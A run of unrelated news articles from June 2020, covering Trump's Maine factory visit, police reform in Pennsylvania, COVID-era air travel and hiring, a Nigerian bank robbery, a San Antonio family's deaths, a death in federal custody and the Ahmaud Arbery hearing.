Trump also held a roundtable discussion in Bangor with the leaders of Maines commercial fishing industry and talked about his administrations efforts to remove what he considers unnecessary regulations and expand economic opportunities for fishermen across the northeast.

During his final months in office, Obama created a marine national monument in the Atlantic Ocean, using executive action to protect 4,913 square miles of underwater habitat. Trump aides said that effort "abruptly ended commercial fishing" and said the new order would "amend that restriction" while leaving the monument's current boundaries in place.

Environmental groups slammed the move.

"Todays proclamation is another nail in the coffin for both productive fisheries and healthy oceans in New England," said Gib Brogan with Oceana, a conservation organization. "President Trump just gave the green light to wreak centuries-worth of damage to deep-sea corals, seamounts, canyons, undersea volcanoes" and other sea life.

Story continues

Poll: Americans disapprove of Trump response to George Floyd death and protests

President Donald Trump calls out as he arrives on Air Force One.

The trip is Trumps first to Maine since he became president and comes as states have begun to gradually reopen amid the coronavirus pandemic that shuttered the U.S. economy. The trip also marks only the second time Trump has ventured outside of the Washington area since sometimes-violent protests erupted late last month in cities across the country.

The street protests were triggered by the death of George Floyd, who died May 25 while in police custody in Minneapolis.

Floyd, who is black, was killed when a white police officer pinned him to the ground and pressed a knee into his neck for nearly nine minutes. The officer, Derek Chauvin, has been charged with second-degree murder. Two other officers who helped restrain Floyd and another officer who stood nearby face charges of aiding and abetting.

In Washington, protesters have been camped out near the White House for a week demanding police accountability and justice for Floyd.

Citing security concerns, Maine Gov. Janet Mills, a Democrat, urged Trump not to travel to her state and warned in a telephone call with Trump and other governors earlier this week that a presidential visit could create "unrest."

Trump decided to come anyway. Mills, who said she has been troubled by the tone and substance of Trumps remarks about the protesters, suggested that when he arrives he should check the rhetoric at the door.

Tumultuous week: White House mood darkens as Trump battles with James Mattis, criticism over Bible photo op

All four members of the states congressional delegation skipped Trumps visit.

The delegation's only Republican, Sen. Susan Collins, is facing a tough re-election battle this fall against Democrat Sara Gideon. Collins said that while she is proud of Puritan employees work to ramp up production of medical swabs, she will be working in Washington on Friday.

Sen. Angus King, I-Maine, said a presidential visit would normally be welcomed but, in this case, he stands with the governor.

Right now, our state and nation are in a fragile moment, which must be handled carefully, he said. If Mills believes Trumps visit would inflame tensions or hinder the states coronavirus reopening plan, I respect her judgment, King said.

Rep. Chellie Pingree, D-Maine, suggested the real reason for Trumps visit is politics. Hes coming here to have a political rally in the Second Congressional District, she said in a video message, adding, Its just one more way to divide us.

Democratic-leaning Maine is not considered a battleground state in this falls presidential election, but the Trump campaign is eyeing the states rural-based second district because of how the states four electoral votes are allocated.

Maine gives two electoral votes to the winner of the states popular vote and one to the winner of each of its two congressional districts. Trump lost the statewide vote to Democrat Hillary Clinton in 2016 but still picked up one electoral vote in Maine after winning the second district  a feat hed like to repeat in this falls elections.

The Puritan plant is located in Maines second district.

Doubling down: AG Barr defends clearing protest near White House, disputes claims demonstration was peaceful

The White House says the purpose of Trumps visit is to promote the administrations success in bolstering U.S. manufacturers capability to make medical supplies and medicines needed to respond to the coronavirus pandemic, which has killed nearly 108,000 Americans.

But all three of Trumps recent visits to medical equipment makers and distributors have been in battleground states  Arizona, Pennsylvania and Michigan  that could be pivotal in November.

In the span of three weeks last month, Trump toured a Honeywell aerospace facility in Phoenix that makes N95 face masks, a medical equipment distribution facility in Allentown, Pa., and a repurposed Ford plant that produces ventilators in Ypsilanti, Mich.

In Puritan Medicals case, the manufacturer received $75.5 million from the federal government in April after the Trump administration compelled the company to double its production to 40 million swabs per month under the Defense Production Act, which allows the president to direct private industry to make scarce medical supplies.

The company is using the money to open a second plant this month.

Michael Collins covers the White House. Reach him on Twitter @mcollinsNEWS.

This article originally appeared on USA TODAY: George Floyd: Trump tour swab factory amid concerns over unrest
By Trend

Over the past 24 hours, Armenian armed forces have violated the ceasefire along the line of contact between Azerbaijani and Armenian troops 25 times, Trend reports on June 5 referring to Azerbaijani Defense Ministry.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding regions.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on the withdrawal of its armed forces from Nagorno Karabakh and the surrounding regions.

---

Follow us on Twitter @AzerNewsAz
A group of major police and police officer union leaders in Pennsylvania signed on Thursday to a statement of support for legislative changes that would be designed to keep public any record of past disciplinary or personnel infractions against law enforcement officers, making it harder for those with red flags in their past to get new jobs in the field.

The document, signed onto by the top police executives in Philadelphia and Pittsburgh, the Pennsylvania District Attorneys Association and leaders of the police union in Philadelphia and the state Fraternal Order of Police lodge, which speaks for most of the municipal police officers across the state, shows at least conceptual support for hiring reforms that Democratic state lawmakers have been supporting for several years.

In their joint statement, they said:

Officers who engage in misconduct or use excessive force erode trust in law enforcement and make it harder for our communities to be and feel safe. When they leave and agency, or retire in lieu of termination, their record needs to go with them. We stand united in calling for reform of the hiring process so that law enforcement agencies have the information to make informed decisions about the personnel they hire.

The statement was released Thursday afternoon by state Attorney General Josh Shapiro.

After listening to the community and law enforcement leaders, I saw there was common ground on this issue and worked to bring people together, Shapiro said. Millions are peacefully demanding change in our country and we need to show them were listening. This is a down payment on the kinds of reforms we need to deliver."

The joint statement was a breakthrough in the sense it marked the first time major police unions have voiced support for these kinds of hiring reforms, said Sen. Jay Costa, the Democratic Floor Leader from Pittsburgh who introduced a bill to achieve the same goal in 2018, after an East Pittsburgh officer shot an unarmed black teen named Antwon Rose.

i think its a big development for advancing these reforms, said Costa, adding that the police union endorsement might also catch the attention of Senate Republican leaders who control legislative traffic in that chamber. Costas bill, thus far, has not received any formal consideration.

PennLives attempt to reach Senate Majority Leader Jake Corman on the Costa bill Thursday evening was unsuccessful. But in a statement released earlier in the day, the Centre County Republican noted that his caucus has supported important criminal justice reform bills in previous sessions, like bills permitting non-violent offenders expanded opportunities to clean their records, and he said the Republicans are "committed to engaging in a constructive conversation about how we move forward."

Shapiros effort culminated on the same day that Gov. Tom Wolf called for a top-to-bottom review of use of force training standards at all law enforcement training academies in Pennsylvania, and the convening of a work group to develop standard, best practices for training police in their interactions with the public.

The reform calls also came in the midst of continued demonstrations in big cities and small towns over the May 25th death of George Floyd, an unarmed black man, as he was in the custody of Minneapolis police.

Floyd was suspected of passing a counterfeit bill at a Minneapolis convenience store. He died in police custody after an officer was captured on video kneeling on his neck for nearly nine minutes. That officer, Derek Chauvin, has been charged with second-degree murder, and the three officers who were on the with him have been charged as accessories.

Costa and other Democratic lawmakers, including many members of the Pennsylvania Legislative Black Caucus, have listed the creation of a database of disciplinary actions and complaints lodged against officers as a top priority that, in their view, would make it harder for problem officers to stay in the field.

Similar legislation aimed at weeding out teachers with bad acts in their past was passed in the Corbett Administration.

In the police world, however, at present a hiring law enforcement agency is typically unable to get information from prior employers about complaints against an officer or any disciplinary issues. Because of this, records are sometimes not even requested. That leaves departments in the blind to a prospective employees history, even when misconduct or a pattern of excessive use of force has been documented.

In the Rose case, the East Pittsburgh officer who shot Rose three times as he fled a traffic stop, Michael Rosfeld, had previously been terminated by the University of Pittsburgh for unjustly detaining two men when he was a campus police officer there. Costa said East Pittsburgh hired Rosfeld with no knowledge of the incidents at Pitt.

Costas bill would, among other steps, create a statewide database of disciplinary actions taken against police and require that any prospective employers of a would-be officer be permitted full access by prior employers of any personnel file pertaining to terminations, suspensions or other disciplinary actions.

Wolf was asked Thursday about Philadelphia Rep. Jordan Harriss suggestion, as reported by Spotlight PA earlier this week, to consider direct Pennsylvania State Police to create such a database by executive order. The governor did not include such a step in the reforms he proposed, but said he plans to continue to work with lawmakers on the issue.

Other Democratic police reform proposals include bans on the use of chokeholds, providing access to body-camera footage through the states open-records law, and create an oversight board to certify officers.
Noted film producer Ekta Kapoor's new web series 'Triple X-2' has sparked a controversy after some ex-army personnel lodged a complaint in Gurugram's Palam Vihar police station raising objection over its allegedly inappropriate and vulgar content.

'Triple X-2' is based on lives of army personnel.

Raising strong objection to the web series, Martyrs Welfare Foundation (MWF) chairman Major T.C. Rao said that army soldiers sacrifice their lives for the country, but the series' producer and director have depicted that armymen's wives are intimate with other men at home when their husbands are away serving on the borders.

"This content is highly objectionable and it could demoralise our armed forces," he said.

"Triple X-2 also has scenes where uniforms of military men, having symbols of Ashoka statue and Taj are torn apart. This is an insult to our armed forces and military personnel," Rao said.

MWF member Major S.N. Rao said "In a state like Haryana having representation of over 3.70 lakh army soldiers. This is an insult to them and ex-armymen like us. If Ekta Kapoor will not remove the objectionable scenes from the web series, we will intensify our agitation."

Rajender Kumar, SHO of Palam Vihar police station, confirmed receiving a complaint in this regard and said the matter is under investigation.
Managers at the massive Bell facilities in North Texas had a problem. As 5,000 employees building helicopters needed to stay on the job, the company  a division of Textron  had to take steps to keep workers safe.

One step included plans to take employee temperatures as they came to work. The company set out to hire 60 nurses.

"I kind of laughed," said Wayne Lynch, managing partner at Vaco's Dallas office. Vaco is a large consulting, recruiting and staffing firm that works with Bell. "My wife is a nurse, and on any given day, she can pick from 200 different jobs."

Bell had already tried to staff the new temperature-taking jobs with a medical company, but it soon became clear that nurses were needed on the front lines of the COVID crisis. Vaco was already working with Bell on another project when Lynch was asked if he could help staff the new positions.

What both companies soon realized is that it doesn't take a nurse to take a temperature. What is needed is a little training and workers with good people skills.

Bell is not alone. Companies across the country  including Apple  are screening employees for fever as they return to work, something that has been recommended by the Centers for Disease Control.

The CDC says companies should "consider conducting daily in-person or virtual health checks (e.g., symptom and/or temperature screening) of employees before they enter the facility, in accordance with state and local public health authorities and, if available, your occupational health services."

At the same time, a report in the New York Times suggests technology designed to check temperatures may not always be accurate. Hence the need to hire people to do it.

Finding good temperature takers is a matter of finding workers with good "customer facing" skills. Waiters, bartenders, and others in the hospitality industry, many of whom lost their jobs during the shutdowns, have these skills.

"People from the hospitality industry, from the restaurant industry, are used to working all kinds of different shifts," says Lynch. "We'll actually be able to pay them to make this a viable job for them."

So Vaco began recruiting, interviewing (online) and doing background checks on potential new hires. Bell realized that instead of 60 temperature-taking temps, it would need closer to 100, plus about a dozen supervisors. "There was going to be five different plants, 17 different entrance points, three shifts a day," said Lynch.

The hiring was completed in less than 48 hours.

"We had all 100 people show up the first day for training," he said.

They were trained in new protocols that require that any employee with a temperature of at least 100.4 to sit for 10 minutes and then have their temperatures retaken. Those who test again for a fever are given information and directed to go home, where they should contact their primary physician.

"The majority of our (new) employees come from industries such as hospitality, customer service, education, and social services," Bell said in a statement. "Many of our shift supervisors are currently pursuing MBAs, which gives them an excellent opportunity to gain experience managing a workforce and project operation."

The new employees are given fresh protective gear each shift, which has not been not easy to come by. In addition, Lynch says the pay could be as much as $50,000 a year on an annualized business. That's assuming these temporary jobs become permanent. Many companies are adding these types of positions to the workplace, including Apple.

Lynch said the fear of coming into contact with an infected worker was not a major problem during recruitment.

"I can't say that there was no one who didn't express that, but those people just didn't take the job."

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Speaking at the event, Director of the Institute of Economics, the Russian Academy of Sciences, Prof. Dr. Elena Lenchuk stated the seminar was held on the occasion of the 70th founding anniversary of Vietnam-Russia diplomatic relations and the 90th founding anniversary of the Institute of Economics.

She confirmed that the COVID-19 pandemic could not prevent scientists from the two countries "meeting" in a new way. This meeting was by no means accidental, but shows Russia's great interest in economic cooperation with Vietnam, a country with high economic growth, she added.

For his part, Assoc. Prof. Dr. Pham Hong Chuong, Rector of the National Economics University, emphasised that the COVID-19 pandemic has posed new challenges for economic cooperation between the two countries, and this workshop was an effort to overcome this difficult reality.

He also underscored the leading role of Vietnamese scientists in advising the Party and the Government in planning directions and policies for economic development.

During the workshop, participants listened to 15 presentations focusing on three major topics: a summary of key trends in trade-investment cooperation between Vietnam and Russia over the past decade; the Vietnam-Russia relations in the face of challenges posed by the COVID-19 pandemic; and the impacts of declining oil prices on energy cooperation between the two countries.
Physical distancing remains the best defence against the coronavirus, but it may not allow airlines to make a profit.

Uncomfortable.

It really felt like Armageddon  the end of days.

I wore a mask for 12 hours  it was suffocating.

Just dont travel unless you absolutely have to.

This is how four people who flew recently described what it is like to travel by air during the coronavirus pandemic.

With good reason. The hodgepodge of measures airlines and airports have put in place to prevent passengers and crew from spreading the virus has made the experience of flying more stressful than it was before the pandemic.

For instance, in Thailand, travellers are subjected to temperature checks before they can enter airports.

In many United States departure terminals, chairs are blocked to enforce physical distancing and signs on the floor tell passengers to stand six feet apart. Announcements over the public address system remind travellers to keep masks on and frequently sanitise their hands.

Passengers stand in a queue to enter Chhatrapati Shivaji International Airport in Mumbai, India [Francis Mascarenhas/ Reuters]

On Qatars flag carrier, Qatar Airways, cabin crew are dressed in full protective gear, including goggles, masks and hazmat suits.

In the Maldives, most arrivals are whisked off to luxury hotels for 14 days of mandatory quarantine. And in South Korea, all incoming passengers are required to undergo COVID-19 tests and download a mobile app that tracks their movements and asks for a daily temperature record.

With the pandemic still ravaging large parts of the world and most borders remaining closed, only a handful of international flights are in operation. The civil aviation sector is lobbying governments to allow grounded planes to fly again as many airlines face crippling losses, government bailouts and, in a growing list of cases, bankruptcy.

The industry finds itself in a quandary, however. Physical distancing remains the best defence against the deadly new virus, but such measures may not make flying feasible or profitable for airlines.

In the early days of the pandemic, some airlines announced plans to keep some seats on planes empty to enforce physical distancing. That proved popular with air travellers.

Srishti Nayak, a lecturer at Princeton University in the US, said she chose Alaska Airlines for a recent trip from New Jersey to Portland because of the operators middle-seats empty policy. On the first leg of her trip, she had four empty seats next to her. But the second leg was a rude awakening, she told Al Jazeera.

It was a tiny propeller plane, with two seats in each row. There were more than 30 people, all sitting right next to each other. While Nayak was lucky enough to have an empty seat next to her, she said she was annoyed and stressed out by how packed the plane was.

A man has his temperature checked before boarding a flight at Guarulhos International Airport in Guarulhos, Brazil [Amanda Perobelli/ Reuters]

Similarly, Stine Fleming, who travelled from the US to Denmark in early May, said she was shocked to find that the last flight on her journey home  a KLM plane travelling from Amsterdam to Copenhagen  was completely full.

It was the first time in more than three months that I had to sit next to a stranger, the 50-year-old translator said in a phone interview. I was nervous and uncomfortable.

But aviation industry officials are opposing calls for physical distancing measures on board planes.

The International Air Transport Association (IATA) estimates such measures mean airlines would only be able to fill planes up to 62 percent of their capacity. But for a flight to make money, aircraft need it to be at least 77 percent full, IATA reckons.

Social distancing on an aircraft isnt practical, Qantas Chief Executive Officer Alan Joyce told reporters on May 19. Such a move could mean there would only be 22 people on a 128-seat aircraft, he said, adding: That means airfares are going to be eight to nine times more than they are today.

Chairs are blocked to enforce physical distancing at Fiumicino Airport in Rome, Italy [Guglielmo Mangiapane/ Reuters]

Physical distancing signs are marked on the airport floor in Riyadh, Saudi Arabia [Ahmed Yosri/Reuters]

IATA and other industry bodies say safety measures such as hospital-grade air filtration systems on planes make physical distancing on board flights unnecessary.

On Monday, the International Civil Aviation Organization (ICAO) published a long-awaited set of guidelines for the safe reopening of the aviation sector, recommending physical distancing throughout an air passengers journey.

Seats should be assigned for adequate physical distancing between passengers, the United Nations body said. It did acknowledge airline concerns, saying if this was not feasible, then other adequate risk-based measures should be adopted.

The ICAO, in consultation with the World Health Organization (WHO) and industry bodies, said it proposes a layered approach, including the wearing of masks and frequent hand sanitising throughout a flight, self-service options for check-in, physical distancing during airport queues, prepackaged food on board, automated procedures for customs and border control, and health declarations, COVID-19 tests and robust contact tracing to reduce the risk of imported infections.

Safely restarting air #travel : Here's a snapshot of the layered approach of temporary biosecurity measures proposed by @IATA. Learn more  https://t.co/CEEebeaYvO pic.twitter.com/n1opGyZ1OE  IATA (@IATA) May 21, 2020

It remains to be seen how airlines react to the ICAOs support for physical distancing on board flights. For the short term, at least, some are planning to carry a reduced number of passengers.

The US carrier Delta Airlines said it will limit first-class seating capacity at 50 percent and the main cabin at 60 percent through June 30 to boost consumers perception of safety. Its rival Southwest Airlines CEO, Gary Kelly, told shareholders in May that Southwest will limit bookings on its flights through at least July to give passengers space between seats.

It is not just airlines that find physical distancing measures challenging, but airports, too, said Cheng-Lung Wu, associate professor in aviation at the University of New South Wales, Australia.

If you require everyone to keep social distance while boarding a flight, then you can imagine  for a large aircraft, youre going to have a very long line. Most airports just dont have the space to accommodate that, he said.

However, airports may be able to cope in the short term as air travel is expected to resume very slowly. IATA says it expects air passenger traffic to return to pre-crisis levels only in 2023.

That may be something airports are happy to see, said Wu. Because they will not be able to follow all the social distancing rules if capacity comes back to pre-COVID-19 levels all of a sudden.

Staff clean check-in machines at Charles de Gaulle international airport in Roissy near Paris, France [Ian Langsdon/ EPA Pool/ AFP]

One woman who travelled on an evacuation flight from Quito, Ecuador to Miami, the US on May 1 said it took her and her husband three hours to complete boarding procedures in a largely empty airport.

Everything took longer because airport officials were not allowing people to congregate, said Nejla Calvo, a 29-year-old lawyer. The 120 passengers were processed in groups of 10, Calvo told Al Jazeera. So it took more time to go through check-in and security.

She added: It was very surreal. It really felt like Armageddon  the end of days, because so many of the passengers were in full protective gear, including face shields.

Medical staff take test samples for COVID-19 from a passenger at a testing booth outside Incheon international airport near Seoul, South Korea [File: Jung Yeon-je / AFP]

Other measures that have upset the aviation industry are requirements by some governments for all international travellers to undergo a mandatory quarantine period of 14 days.

The United Kingdom, which did not set such a rule during the initial days of its outbreak, plans to quarantine arrivals starting on June 8. The move prompted neighbouring France to declare it will set mandatory isolation for British travellers, too.

Michael OLeary, CEO of Europes largest airline, Ryanair, told the BBC in May that the quarantine plans were idiotic and nonsensical.

Officials say such a move would kill demand for air travel. According to an IATA survey in April, 84 percent of travellers see quarantine measures as among their top concerns when resuming air travel, with 64 percent of respondents saying they would not travel under such conditions.

It is not feasible for anyone to go somewhere and be subject to 14 days of quarantine, said Subhas Menon, director-general of the Association of Asia Pacific Airlines. It doesnt make sense. It could also increase the cost of travel as travellers might be expected to fund the cost.

To rebuild passenger confidence in flying, airlines and airports need to adopt standard protocols, Menon said over the phone.

Travel restrictions were imposed in a hodgepodge manner. There is no predictability. And standardised measures will help take away uncertainty, and give confidence to travellers that all the risks along their journey from home to destination have been considered and necessary measures taken. That will bring back trust in travel.

While that remains to be seen, one thing appears to be for certain.

As Paul Griffiths, chief executive officer of Dubai Airports, told Bloomberg recently: Going through an airport, the whole travel experience, will be as enjoyable as open-heart surgery.
Nine persons, including eight policemen and one civilian, were feared killed on Thursday in Isanlu, Kogi State when a gang of armed robbers launched an attack on a branch of a first-generation bank in the town.

The News Agency of Nigeria (NAN) gathered that among those killed were the Divisional Police Officer (DPO) in the town, five other policemen and two policewomen.

Sources indicated that while the DPO, the two policewomen and four policemen were killed at the police station, one policeman was killed at the banks premises.

The other victim, a male civilian, died when a stray bullet hit him.



The armed robbers were said to have invaded the police station at about 1.00 p.m. and opened fire on all officers and men on duty.

The source said the police station was completely destroyed by the armed robbers who also set free all detainees in the detention facility.

The robbers later proceeded to the bank branch in the area where they killed one of the policemen on duty and carted away money.

An eyewitness, Segun Thomas, told NAN that the robbery operation lasted almost one hour.

The robbers came in two vehicles  a bus and a car  with which they also escaped from the town.

The car, believed to have been snatched from its owner, was later abandoned around Kizito College, Isanlu.

William Aya, the spokesman of the Police Command in Kogi, confirmed the robbery incident and the invasion of the police station, but added that the casualty figure was still hazy.

Follow Us on Facebook  @LadunLiadi; Instagram  @LadunLiadi; Twitter  @LadunLiadi; Youtube  @LadunLiadiTV for updates
A startup called Portobel is working to help food producers shift their businesses so they can support direct-to-consumer deliveries.

Portobel is backed by Heroic Ventures and led by Ranjith Kumaran, founder or co-founder of file-sharing company Hightail (acquired by OpenText) and loyalty startup PunchTab (acquired by Walmart Labs).

Kumaran told me that he and his co-founders Ted Everson and Itai Maron started out with the goal of improving the delivery process by using low-cost, internet-connected devices to track each order. As they began testing this out  primarily with dairy companies and other producers of perishable goods  customers started to ask them, "Hey, you can monitor these things, can you actually deliver these things, too?"

So last year, the company started making deliveries of its own, which involved managing its own warehouses and hiring its own drivers. Kumaran said the resulting process is "a machine that turns wholesale pallets into direct-to-consumer deliveries."

He also emphasized that the company is taking safety precautions during the pandemic, ensuring that all of its warehouse workers and drivers have masks and other protective equipment, and that the drivers use hand sanitizer between deliveries.

Portobel warehouse

Image Credits: Portobel

Portobel currently operates in the San Francisco Bay Area and Los Angeles/Orange County. Kumaran said the COVID-19 pandemic has only accelerated the demand for the startup's services, with the number of households it serves tripling since April.

That might sound a little surprising, since supermarkets were basically the one store that customers are still visiting regularly. Plus, there are a range of grocery delivery options.

However, Kumaran suggested that the D2C model is better for both producers and consumers. Producers get recurring orders for larger packages of food. And for consumers, "If you buy straight from the wholesale producer ... everythings in stock."

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As for delivery, he said that when you buy your groceries online, things are being packed and dispatched at your local store.

"All those things about selection and availability, put those aside  the modern grocery store is not set up for efficient e-commerce delivery," he added. "They need to block the aisles to pick up product, there's no dedicated place to dispatch deliveries. That's kind of why, if you've tried [grocery delivery], there are unpredictable delivery windows. It's a challenge for these guys to scale online."

Portobel's customers include San Francisco-based grocery company Moo Cow Market. In a statement, Moo Cow founder Alexandra Mysoor said, "The pandemic has propelled retail as we knew it into a new wave, blending and merging all past and current forms of commerce. That's where companies like Moo Cow Market enter and can scale and grow thanks to services like Portobel."
UPDATE:

4:30 p.m., Monday, June 8 | The San Antonio Police Department identified the family of six found dead in their North Side home Thursday.

Jared Esquibel Harless, 38, was an Army soldier assigned to Joint Base San Antonio-Fort Sam Houston.

He was found along with his wife, Sheryll Ann Harless, 36, and four children  Esteban Lorenzo Harless, 4, Penelope Arcadia Harless, 3, Avielle Magdalena Harless, 1, and Apollo Harless, 11 months.

5:31 p.m., Friday, June 5 | The Army said Friday that a man found dead along with his wife and four children in their far North Side home was a soldier assigned to Joint Base San Antonio-Fort Sam Houston.

The Medical Examiners Office identified him as Jared Esquibel Harless, 38. Also found dead were a 36-year-old female; two males, ages 4 and 11 months; and two females, ages 3 and 1.

The soldier served with the 470th Military Intelligence Brigade, a statement from the unit said.

Our hearts and prayers go out to the families of the deceased, a spokeswoman for the MI brigade, Monica Yoas, said in a statement.

The Army declined to give the soldiers rank or other details.

ORIGINAL STORY CONTINUES:

A family of six was found dead at a Far North Side home Thursday after police conducting a welfare check came across a cryptic note and chemical odor, which led to an evacuation.

The bodies of a husband, wife, four children and two cats were found in the garage of the home in the 100 block of Red Willow, San Antonio Police Chief William McManus said.

ALSO READ: 'I'm the Mayor of this goddamn city': Nirenberg makes plea at sixth day of S.A. protests

While McManus said suicide was a possibility, he declined to elaborate. He did say there is evidence that the deaths were not an accident.

The couple was in their mid- to late 30s, McManus said, and the children were between 11 months to 4 years old.

McManus said police were called at 10:30 a.m. for a welfare check of the husband, who was working from home, when he didnt check in with his place of employment.

They were OK yesterday because he checked in with his work, McManus said. So it happened sometime overnight.

McManus said seven officers walked inside the home and were immediately overcome by a heavy, noxious fume. They were checked by EMS and determined to be unharmed. Late Thursday, McManus said the odor was carbon monoxide.

Most officers know what the smell of decomposing bodies is, and thats not what has been described, the chief said.

RELATED: S.A. grad now has brain damage after Austin police accidentally shoot him during protest

On the front door was a cryptic note with military jargon, the chief said.

A member of the military helped police with a translation: Bodies or people inside, do not enter, the chief said.

It continued: The animals are in the freezer.

A drone sent inside the house found what appeared to be explosives, preventing police from immediately searching the home in the 100 block of Red Willow at the Heights at Stone Oak subdivision, and prompting the evacuation of more than 200 homes nearby at about 5 p.m.

After officers encountered the carbon monoxide, officials weighed how to continue their investigation.

We believe this place may be booby-trapped, and we have not determined the best way to make entry yet, McManus said at a 5:30 p.m. news conference.

McManus said at about 10 p.m. that no explosives were found inside the home.

Based on the note that we received, we were very cautious about going in, and we were trying to find out what was in there before we made entry, the chief said.

RELATED: SAPD: Police find woman's body after bizarre 911 call

When officials were able to enter the home, the family was found in the garage.

McManus said the family was found in the back of a small SUV, investigators said.

The cats were in a basket in the front seat, he said.

The husband was a member of the military and lived with his wife and children, investigators said. The chief declined to say which branch the man served.

Police said they have only been called to the home, which the family had rented since January, once in the last six months.

Evacuees were allowed back into their homes by about 9 p.m.

Joseph Arrington, a San Antonio Fire Department spokesman, says the evacuation alert that was first sent encountered a glitch and was accidentally sent to the entire North Side before operators could specify the perimeter.

The FBI and military were assisting police with the investigation.

McManus said homicide detectives are combing the home for additional evidence.

This is just the beginning of the investigation, McManus said.
Chandigarh, June 5 : Chandigarh Advisor Manoj Parida has expressed concern over people bringing their minor children for excursion to the famed Sukhna Lake here.

He has hinted at use of police force to educate them. Take precautions as the fight against the coronavirus is far from over, Punjab Chief Minister amarinder Singh has already cautioned earlier.

"It was sad to see educated people bringing small kids to the Sukhna Lake," Parida tweeted.

"I really don't mind these stupid adults' 'early departure' with smiling eyes through corona, but risking young innocent lives of future generations is criminal," he said.

"Plan to use police to drill sense in their head. What say?" Parida added.

At this, someone responded: "You can't call a parent of a stupid or criminal mind. Every parent knows very well about the safety and wellbeing of their kids while going outside and in home as well. They are not stupid. Sorry, but your statement is not appreciated." Parida retorted: "Strong sarcastic words are meant to provoke. Due to immunity issues kids and old men must stay indoors. We all must be strict on this." Two more residents of Chandigarh were tested positive on Friday. Both belonged to the Bapu Dham Colony in Sector 26, the epicentre of the virus.

They were family contacts of the previous positive cases, an official told IANS.

Of the 304 cases, 77 are active, while 222 patients have recovered. The city has recorded five Covid deaths.
Two days after the Federal Bureau of Prisons (BOP) began a full lockdown, a man at the BOP-run Metropolitan Detention Center in Brooklyn, New York died in custody after being pepper sprayed by prison guards. The victim, 35-year-old Jamel Floyd, had been detained at the facility since October 2019.

The news comes as New York Democratic Governor Andrew Cuomo announced on Thursday that he intends to override bail reform legislation passed at the beginning of this year. The overturn of the legislation has been a goal of the New York Police Department (NYPD) since it came into effect of January of this year. The peddling back of the reform will be used to impose huge bails on protesters who have been detained while engaging in protest sparked by the police murder of George Floyd, no relation to Jamel, in Minneapolis, Minnesota on Memorial Day. Those who cannot afford to pay will languish in COVID-19-ridden jails as they await sentencing.

According to the BOP, at around 10 a.m. on June 2 an incident occurred in Jamel Floyds cell. The BOP said that Floyd, became increasingly disruptive and potentially harmful to himself and others. Before the incident, Floyd is said to have barricaded himself in his cell. Guards came to Floyds cell after he had broken his cell door with a metal object. The BOP claims that guards then used pepper spray to subdue him.

Jamel Floyd

Floyd was unresponsive after being sprayed. Following attempts at resuscitation by medical staff he was taken to NYU Langone Hospital where he was pronounced dead. The cause of his death was not immediately released by the BOP, but they did confirm it was unrelated to the acute COVID-19 outbreak in Americas prison system. However, according to the NYDailyNews, sources in the facility say that Floyd died from a heart attack.

Multiple studies, including one from the North Carolina Medical Journal, have found that people who breathe in pepper spray experience acute hypertension, a sudden rapid increase in blood pressure that dramatically increases the risk of stroke or heart attack. In response to the ongoing wave of mass protests, the police and the military have employed pepper spray and tear gas against peaceful protesters across the country with impunity. The WSWS reported yesterday that the use of these chemicals by the police may exacerbate the COVID-19 pandemic.

Despite the pledge of a full investigation from the BOP, it is unlikely that the true circumstances of Floyds death will ever become public. However, it does seem highly likely that Floyd was suffering from acute mental illness. Already under conditions of intense stress and isolation due to incarceration and the constant fear of contracting COVID-19, it seems likely that the increased isolation imposed by the BOPs full lockdown on May 31 may have been overwhelming.

It is far from clear that the guards who responded to Floyds distressed actions were under immediate threat of physical harm. Despite breaking a window, reports do not suggest Floyd had left his cell. Rather than responding to the desperate actions of a mentally ill man with compassion and attempts to deescalate the situation, it seems that the BOP guards involved resorted to an unnecessary use of force. This heavy handedness cost Floyd his life.

Jamel Floyds death is only the latest in a wave of killings of individuals in police custody. George Floyd was killed by asphyxiation as he was being held down by three police officers, including one who kept his knee on the 43-year-olds neck for more than 8 minutes. On June 3, the Pierce County Medical Examiners Office concluded that the death of a man, Manuel Ellis, 33, from asphyxiation at the hands of Seattle police on March 3 was a homicide.

Nationwide statistics on deaths in custody are hard to come by. The murders of individuals like George Floyd and Eric Garner, whose murder at the hands of the NYPD was recorded in 2014, occurred during arrest and were caught on camera before being disseminated to the public through social media. However, deaths that occur within prison facilities are often off camera and suppressed from public knowledge. A law was passed by Congress in December 2014 to shed light on killings within correctional facilities. However, five-and-a-half years later, the Department of Justice (DOJ) has still failed to compile the information.

The latest available data from the DOJ is from 2014. In that year, of the 3,927 inmates who died, 269 were listed as suicides and 83 as homicides. The statistics presented do not give specific information about any deaths caused by prison guards. It is unclear how many of these suicides or homicides, are really cover-ups.

One suspects that Jamel Floyds death might well end up innocuously designated as the result of heart disease, which according to the DOJ killed 890 in 2014. The most significant example of one such suicide in murky circumstances was the death of Jeffrey Epstein in August of last year. It might well be the case that every year the actual in-custody death toll of police or prison guard violence is in the hundreds.
Thursday saw the preliminary hearing for Travis McMichael, Gregory McMichael and William Bryan, who have been charged with the February 23 murder of Ahmaud Arbery just outside Brunswick, Georgia. New details emerged, including that Travis McMichael hurled a racial epithet at Arberys lifeless body immediately after he shot and killed the young black man. At the end of the hearing, the judge found probable cause against all three defendants and declared that all three cases would move forward to trial.

Prosecutors and defense attorneys questioned Georgia Bureau of Investigation (GBI) Special Agent Richard Dial, who provided a more detailed overview of the events that unfolded on the day of the murder. A crowd gathered outside of the courthouse to protest the potential release of the three killers on bond, which is under consideration during such hearings. The three men charged appeared by video from the Glynn County Detention Center, and all three of their defense attorneys asked that the charges be dismissed. Jason Sheffield, the attorney representing Travis McMichael, claimed that his client was acting in self-defense when he killed Arbery.

The evidence that Dial used to answer questions about the killing and lay out a more succinct timeline of events on the day of the murder are statements made by the three men who have been charged as well as video recorded by multiple cameras. These include a security camera at the construction site owned by Larry English, a security camera placed at William Bryans house, and Bryans own cell phone, which was used to record the actual killing of Arbery. Dial estimated that the course of events which led to Arberys death lasted roughly seven minutes.

Ahmaud Arbery's aunt, Kim Arbery, listens to family attorney S. Lee Merritt speak with reporters Thursday (AP Photo/Stephen B. Morton)

